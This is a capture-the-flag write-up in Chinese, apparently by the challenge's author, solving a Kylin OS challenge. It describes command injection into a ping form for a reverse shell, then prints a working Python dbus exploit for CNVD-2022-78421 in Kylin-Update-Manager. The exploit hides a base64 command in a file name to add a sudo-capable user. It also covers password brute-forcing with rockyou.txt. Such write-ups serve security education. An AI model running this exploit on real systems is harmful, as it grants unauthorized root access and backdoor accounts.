继续朝花夕拾,把自己出的题的解题思路发一份在这里存着。

知识点

1.银河麒麟系统特性

2.银河麒麟系统提权

解题步骤

1.打开是这样一个界面,可以对指定的 IP 地址发起 ping。

2.抓取请求,注入命令,反弹 Shell。

3.尝试执行自定义脚本,未果,推测有拦截。

4.则尝试用 dbus 提权,审计 Kylin-Update-Manager 的源码,可以发现这个漏洞 https://www.cnvd.org.cn/flaw/show/CNVD-2022-78421 还没修。

则 spawn 一个终端出来。

python3 执行下面的脚本。

from pathlib import Path


import dbus
import base64
from pathlib import Path

command = "adduser fakeadmin && adduser fakeadmin sudo && echo 'fakeadmin:Bb123***'|chpasswd"
command_base64 = base64.b64encode(command.encode()).decode()
path = '/tmp/`echo ' + command_base64 + '|base64 -d|sh`'
Path(path).touch()

bus = dbus.SystemBus()
remote_object = bus.get_object("cn.kylinos.KylinUpdateManager", "/cn/kylinos/KylinUpdateManager")
remote_object.install_snap(path, dbus_interface="cn.kylinos.KylinUpdateManager")
print("Command executed!")

直接全部粘进去让它执行。

5.接下来就可以 su fakeadmin, 然后就可以用 Bb123*** 这个密码登录,然后就可以sudo su 提权到root。

然后就可以修改 glzjin 的密码了。

6.然后接下来切换到 glzjin 用户,启动 vncserver。

7.然后开启文件保险箱,初始化失败。

8.需要想办法把vncserver的父进程id挂到当前系统登录的session里,可以用快捷方式+开机启动项操作。

9.重启,再连接,即可打开文件保险箱。

10.使用rockyou.txt 密码尝试,尝试到大概三百个左右时 “maganda” 这个密码可行,打开即可看到flag。

后记

比赛时候有一个非预期解,是直接拿WPS的缓存读到这个文档了,失算失算:)